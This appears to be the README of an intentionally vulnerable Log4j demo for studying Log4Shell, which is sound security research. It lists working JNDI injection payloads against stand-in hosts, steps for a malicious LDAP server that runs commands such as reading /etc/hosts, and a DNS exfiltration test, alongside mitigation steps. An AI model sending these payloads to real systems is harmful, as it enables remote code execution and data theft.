
Demo of CVE-2021-44228 Log4Shell.
This is a demonstration project for learning and researching the Log4j2 remote code execution vulnerability (Log4Shell).
This project is intended for security research and educational purposes only. Do not use in production environments!
This project uses Log4j 2.14.1, which contains a serious security vulnerability.
./mvnw clean package
./mvnw spring-boot:run
Or alternatively:
java -jar target/log4j2-bugmaker-0.0.1-SNAPSHOT.jar
Open a browser and visit: http://localhost:8080
curl -H "User-Agent: \${jndi:ldap://attacker.com/a}" http://localhost:8080/api/log
curl "http://localhost:8080/api/search?query=\${jndi:ldap://attacker.com/a}"
curl http://localhost:8080/api/health
Log4Shell (CVE-2021-44228) is a critical vulnerability in Apache Log4j2. When the application logs user input containing specially formatted strings, Log4j2 parses JNDI lookup expressions, which attackers can exploit to execute remote code.
${jndi:ldap://evil.com/a}
${jndi:rmi://evil.com/a}
${jndi:dns://evil.com/a}
${java:version}
${java:os}
${env:PATH}
Upgrade Log4j2 to version 2.17.1 or higher:
<properties>
<log4j2.version>2.17.1</log4j2.version>
</properties>
-Dlog4j2.formatMsgNoLookups=true
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
# 1. Run the automated script
./setup-exploit-server.sh
# 2. Select the JNDI-Injection-Exploit tool
# 3. Enter the command to execute (e.g., whoami or cat /etc/hosts)
# 4. Send the attack payload from another terminal
# Start a malicious LDAP server
python3 simple-ldap-server.py "whoami"
# Or execute another command
python3 simple-ldap-server.py "cat /etc/hosts"
# Send the attack payload from another terminal
curl -H 'User-Agent: ${jndi:ldap://YOUR_IP:1389/Exploit}' http://localhost:8080/api/log
# Run the DNS exfiltration test script
./test-dns-exfiltration.sh
# Follow the prompts, visit dnslog.cn to obtain a subdomain
# Then check whether a DNS query request was received
This project is licensed under the MIT License.
Special Notice: This project is intended for educational and security research purposes only. Users assume all risk associated with its use.
Unauthorized penetration testing against other systems is illegal! This project is intended solely for:
Please comply with local laws and regulations and use this knowledge responsibly.